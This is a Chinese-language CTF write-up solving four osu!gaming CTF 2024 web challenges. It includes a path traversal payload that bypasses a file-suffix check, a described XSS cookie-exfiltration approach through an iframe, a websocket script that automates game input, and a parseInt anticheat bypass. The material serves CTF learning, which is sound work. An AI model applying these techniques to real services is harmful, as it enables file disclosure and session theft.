2024/03/04:2024osuctf

mikufanpage

f12一下,有如下代码:

1
2
3
<div class="carousel-item active">
<img class="d-block w-100" src="/image?path=miku1.jpg" alt="miku">
</div>

确认文件包含,查看源码:

1
2
3
4
5
6
7
app.get("/image", (req, res) => {
if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
res.sendFile(path.resolve('./img/' + req.query.path));
} else {
res.status(403).send('Access Denied');
}
});

以“.“分割路径,检查文件后缀

1
/image?path=miku1.png./../flag.txt

后缀添加”.“绕过即可

profile-page

xss注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post("/api/update", requiresLogin, (req, res) => {
const { bio } = req.body;

if (!bio || typeof bio !== "string") {
return res.end("missing bio");
}

if (!req.headers.csrf) {
return res.end("missing csrf token");
}

if (req.headers.csrf !== req.cookies.csrf) {
return res.end("invalid csrf token");
}

if (bio.length > 2048) {
return res.end("bio too long");
}

req.user.bio = renderBio(bio);
res.send(`Bio updated!`);
});

该路由下通过post传参bio可往页面添加内容,为xss注入点,详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const renderBBCode = (data) => {
data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>');
data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>');
data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>');
data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>');
data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>');
data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>');
data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>');
data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />');
return data;
};
const renderBio = (data) => {
const html = renderBBCode(data);
const sanitized = purify.sanitize(html);
// do this after sanitization because otherwise iframe will be removed
return sanitized.replaceAll(
/\[youtube\](.+?)\[\/youtube\]/g,
'<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
);
};

由提示也可发现,针对<iframe>标签进行的过滤较少,闭合双引号后即可外带cookie完成xss

经测试会把+过滤,需要稍微注意下

stream-vs

参考:osu!gaming CTF 2024 报道 - Hamayan Hamayan

贴个现成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from websocket import create_connection
import json
from decimal import *
import time
ws = create_connection("wss://stream-vs.web.osugaming.lol/")

def send_and_recv(payload):
ws.send(json.dumps(payload))
return json.loads(ws.recv())

send_and_recv({"type":"login","data":"evilman"})
send_and_recv({"type":"challenge"})
songs = send_and_recv({"type":"start"})['data']['songs']
for song in songs:
start = int(time.time())
end = start + song['duration'] * 1000
interval = 60000 / song['bpm'] / 4
clicks = [start]
while clicks[-1] + interval <= end:
clicks.append(clicks[-1] + interval)

p = {"type":"results","data":{"clicks":clicks,"start":start, "end":end}}
#print(p)
send_and_recv(p) # results
print(ws.recv()) # game or message

time.sleep(song['duration'])

这个脚本的思路是在分析stream-vs.js,理解游戏胜利判断条件后,模仿玩家行为通过正常游玩通关获得flag

不过不一定能一次成功得多试几次

pp-ranking

参考:osu!gaming CTF 2024 Writeups | 廢文集中區 (maple3142.net)

分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app.get("/rankings", (req, res) => {
let ranking = [...baseRankings];

if (req.user) {
ranking.push(req.user);
}

ranking = ranking
.sort((a,b) => b.performance - a.performance)
.map((u, i) => ({ ...u, rank: `#${i + 1}` }));

let flag;
if (req.user) {
if (ranking[ranking.length - 1].username === req.user.username) {
ranking[ranking.length - 1].rank = "Last";
}
else if (ranking[0].username === req.user.username) {
flag = process.env.FLAG || "osu{test_flag}";
}
}

res.render("rankings", { ranking, flag });
});

获得第一名时能获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.post("/api/submit", requiresLogin, async (req, res) => {
const { osu, osr } = req.body;
try {
const [pp, md5] = await calculate(osu, Buffer.from(osr, "base64"));
if (req.user.playedMaps.includes(md5)) {
return res.send("You can only submit a map once.");
}
if (anticheat(req.user, pp)) {
// ban!
users.delete(req.user.username);
return res.send("You have triggered the anticheat! Nice try...");
}
req.user.playCount++;
req.user.performance += pp;
req.user.playedMaps.push(md5);
return res.redirect("/rankings");
}
catch (err) {
return res.send(err.message);
}
});

此段代码要求提供.osu.osr文件作为分数的验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import { StandardRuleset } from 'osu-standard-stable';
import { BeatmapDecoder, ScoreDecoder } from "osu-parsers";
import crypto from "crypto";

const calculate = async (osu, osr) => {
const md5 = crypto.createHash('md5').update(osu).digest("hex");
const scoreDecoder = new ScoreDecoder();
const score = await scoreDecoder.decodeFromBuffer(osr);

if (md5 !== score.info.beatmapHashMD5) {
throw new Error("The beatmap and replay do not match! Did you submit the wrong beatmap?");
}
if (score.info._rulesetId !== 0) {
throw new Error("Sorry, only standard is supported :(");
}

const beatmapDecoder = new BeatmapDecoder();
const beatmap = await beatmapDecoder.decodeFromBuffer(osu);

const ruleset = new StandardRuleset();
const mods = ruleset.createModCombination(score.info.rawMods);
const standardBeatmap = ruleset.applyToBeatmapWithMods(beatmap, mods);
const difficultyCalculator = ruleset.createDifficultyCalculator(standardBeatmap);
const difficultyAttributes = difficultyCalculator.calculate();

const performanceCalculator = ruleset.createPerformanceCalculator(difficultyAttributes, score.info);
const totalPerformance = performanceCalculator.calculate();

return [totalPerformance, md5];
};

export default calculate;

通过计算md5的值验证文件是否有效,之后返回作为分数,可以直接修改文件值生成足够分数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const THREE_MONTHS_IN_MS = 3 * 30 * 24 * 60 * 1000;

const anticheat = (user, newPP) => {
const pp = parseInt(newPP);//注意这里
if (user.playCount < 5000 && pp > 300) {
return true;
}

if (+new Date() - user.registerDate < THREE_MONTHS_IN_MS && pp > 300) {
return true;
}

if (+new Date() - user.registerDate < THREE_MONTHS_IN_MS && pp + user.performance > 5_000) {
return true;
}

if (user.performance < 1000 && pp > 300) {
return true;
}

return false;
};

export default anticheat;

反作弊验证,但calculate函数返回的值类型为double,而parseInt会将参数转为字符串再转为整数,在转换科学计数法时会有问题

所以让pp是很大的数字就行,但不能是NaN或者Infinity